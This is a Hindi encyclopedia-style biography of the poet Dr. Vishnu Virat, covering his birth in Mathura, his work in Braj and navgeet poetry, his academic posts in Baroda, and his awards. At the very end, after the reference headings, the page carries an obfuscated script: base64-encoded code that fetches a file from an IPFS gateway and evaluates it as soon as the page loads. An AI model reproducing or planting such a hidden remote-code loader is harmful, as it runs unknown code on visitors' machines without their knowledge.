विष्णु विराट
विष्णु विराट
| |
पूरा नाम | डॉ. विष्णु विराट |
जन्म भूमि | मथुरा, उत्तर प्रदेश |
मृत्यु | 11 फ़रवरी, 2015 |
कर्म-क्षेत्र | साहित्यकार एवं कवि |
मुख्य रचनाएँ | सीमा स्वप्न, तार संग्राम, अजेय कर्ण, तमसा के तट, निर्वसना, लीला विराम, लोहित प्रभंजन, विराट सतसई, हाथ से छूटे कबूतर, टूटती लकीरें आदि |
भाषा | हिन्दी व ब्रजभाषा |
शिक्षा | स्नातकोत्तर |
पुरस्कार-उपाधि | भारतेन्दु पुरस्कार, सारस्वत सम्मान, प्रेमचंद पुरस्कार, महादेवी सम्मान, जयशंकर प्रसाद पुरस्कार आदि |
प्रसिद्धि | आचार्य तथा वेदांताचार्य |
नागरिकता | भारतीय |
अन्य जानकारी | ये राष्ट्रीय काव्य मंच से संलग्न रहे और नवगीत के प्रतिनिधि हस्ताक्षर भी थे। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
डॉ. विष्णु विराट (अंग्रेज़ी: Vishnu Virat) हिंदी तथा ब्रज के सरस गीता-दोहाकार एवं प्रतिष्ठित विद्वान थे, जिनका 11 फ़रवरी 2015 को देहावसान हो गया। इनके लगभग साठ ग्रंथ प्रकाशित हैं। ये राष्ट्रीय काव्य मंच से संलग्न रहे और नवगीत के प्रतिनिधि हस्ताक्षर भी थे। डॉ. विष्णु विराट गुजरात हिंदी प्रचारिणी सभा के निदेशक और महाराज सयाजीराव विश्वविद्यालय, बड़ौदा के अध्यक्ष भी रहे।
जीवन परिचय
हिन्दी व ब्रजभाषा के अप्रतिम साहित्यकार प्रसिद्ध कवि डॉ. विष्णु विराट का जन्म मथुरा में हुआ था। डॉ. विष्णु विराट ने युवास्था में ही अपनी ब्रजभाषा कविताओं की ओजमयी प्रस्तुति से खयाति प्राप्त कर ली थी। मथुरा से हिन्दी में स्नातकोत्तर परीक्षा उतीर्ण करने के पश्चात् वे बड़ौदा चले गये। गुजरात में हिन्दी के प्रचार- प्रसार में उनकी भूमिका अतुलनीय है। गोस्वामी हरिराय जी के ब्रजभाषा साहित्य पर शोध वे महाराजा सयाजीराव विश्वविद्यालय बड़ौदा में हिन्दी के व्याख्याता एवं विभागाध्यक्ष बने। संस्कृत में उन्होंने आचार्य तथा वेदांताचार्य की परीक्षाएं उतीर्ण की।
साहित्यिक परिचय
ब्रजभाषा तथा नवगीत के क्षेत्र में उनको पूरे देश में अपार लोकप्रियता प्राप्त हुई। कविताओं के अलावा साहित्य की अन्य विद्याओं में उन्होंने ललित निबन्ध, कहानी, उपन्यास, हारकू, बाल उपन्यास, बाल गीत, समीक्षा, शोध तथा अनेक विषयों पर 100 से अधिक पुस्तकें लिखीं, जिनमें से सीमा स्वप्न, तार संग्राम, अजेय कर्ण, तमसा के तट, निर्वसना, लीला विराम, लोहित प्रभंजन, आत्मनेपद, विराट सतसई, धूम्रवन से लोट आई लाल परियाँ, हाथ से छूटे कबूतर, टूटती लकीरें, बंद कमरे में धूप, चीड़ में एक चिडिया, सूरज साक्षी है, अक्षरों के वंश घायल है आदि उल्लेखनीय है। उन्होंने नवगीत की पत्रिका 'भव्य भारती' सहित अनेक पत्रिकाओं व ग्रथों का सम्पादन किया।
मुख्य कविताएँ
- कुछ व्यथित सी
- प्यार की चर्चा करें
- राजा युधिष्ठिर
- रोशनी के वृक्ष
- वनबिलाव
- व्याघ्रटोले की सभाएँ
- वेदों के मंत्र हैं
- शेष सन्नाटा
- सुमिरनी है पितामह की
सम्मान और पुरस्कार
डॉ. विष्णु विराट को देश के अनेक संस्थाओं ने राष्ट्रीय सम्मान से विभूषित किया, जिनमें निम्न प्रमुख हैं-
- श्रीधर पाठक पुरस्कार
- भारतेन्दु पुरस्कार
- सारस्वत सम्मान
- ब्रज श्री
- प्रेमचंद पुरस्कार
- ब्रजभाषा शिखर सम्मान
- महादेवी सम्मान
- जयशंकर प्रसाद पुरस्कार
- विश्वम्भरनाथ चतुर्वेदी शास्त्री सम्मान।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>